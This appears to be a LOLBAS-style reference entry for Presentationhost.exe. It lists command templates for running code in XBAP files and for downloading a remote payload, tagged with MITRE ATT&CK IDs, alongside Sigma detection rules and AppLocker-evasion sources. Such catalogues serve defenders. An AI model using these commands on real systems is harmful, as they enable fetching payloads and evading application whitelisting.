Presentationhost.exe

Commands

1. ExecuteUser T1218

   Execute code within XBAP files

   Presentationhost.exe {PATH_ABSOLUTE:.xbap}

   Executes the target XAML Browser Application (XBAP) file

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

   Execute: XBAP

2. DownloadUser T1105

   Downloads payload from remote server

   Presentationhost.exe {REMOTEURL}

   It will download a remote payload and place it in INetCache.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Download: INetCache

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml
• IOCExecution of .xbap files may not be common on production workstations

Resources

• https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
• https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/